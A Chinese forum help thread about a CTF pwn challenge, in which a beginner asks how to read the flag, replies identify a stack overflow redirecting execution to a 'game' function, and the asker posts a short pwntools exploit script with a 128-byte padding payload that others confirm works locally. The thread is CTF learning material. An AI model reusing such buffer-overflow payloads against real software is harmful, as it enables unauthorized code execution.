首页
社区
课程
招聘
未解决 [求助]pwn类型,希望各位师傅给点意见
发表于: 2023-10-7 23:42 3054

未解决 [求助]pwn类型,希望各位师傅给点意见

2023-10-7 23:42
3054

师傅们,题目在下方附件,主要是用ida分析后发现首先没有system,/bin/sh之类的字符串,但是有一个game函数,里面可以实现对flag文件的读取,但是不知道具体思路是什么,主要是不清楚它是pwn的哪一种类型,ret2shell、ret2libc还是ret2sys,希望大佬们能伸出援手帮帮萌新


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
  • pwn2 (5.60kb,6次下载)
收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 1223
活跃值: (4727)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
2
栈溢出修改函数返回地址到game,调用game读取flag
2023-10-8 03:37
1
雪    币: 193
活跃值: (1169)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3

大佬有没有具体的做法,我打本地的话,模仿其中写了一个flag,之后调用game的地址0x0804855c,但是一直无法输出flag的结果,下面是我的exp:

from pwn import *
sh = process("./pwn2")
context.arch='i386'
sh.recv()
elf = ELF("./pwn2")
print(hex(elf.symbols["game"]))
game_addr = 0x0804855c
payload = b'a'*128+p32(game_addr) //gdb调试得到的偏移是128
sh.send(payload)
sh.interactive()

2023-10-8 08:13
0
雪    币: 704
活跃值: (1641)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
4
测试了一下,你给的脚本确实可以打通本地,考虑你flag文件:1. 路径是否正确. 2.是否具有读取权限,尝试给定777权限。
2023-10-8 09:32
1
雪    币: 1223
活跃值: (4727)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
5
GUANZHI_ 大佬有没有具体的做法,我打本地的话,模仿其中写了一个flag,之后调用game的地址0x0804855c,但是一直无法输出flag的结果,下面是我的exp:from pwn& ...

本地有个毛的flag,你系统里恐怕连/home/ctf这个目录都没有吧。不过pwn代码是没问题的

最后于 2023-10-8 12:06 被R0g编辑 ,原因:
2023-10-8 12:05
0
雪    币: 193
活跃值: (1169)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
R0g GUANZHI_ 大佬有没有具体的做法,我打本地的话,模仿其中写了一个flag,之后调用game的地址0x0804855c,但是一直无法输出fla ...
这个我写了一个flag,在root权限下有home路径,在里面创建文件夹与flag文件是可以的,错误原因是4楼大佬说的刚开始写错路径了,写在本地Home下,而不是home下,大小写问题
2023-10-8 21:59
0
游客
登录 | 注册 方可回帖
返回
//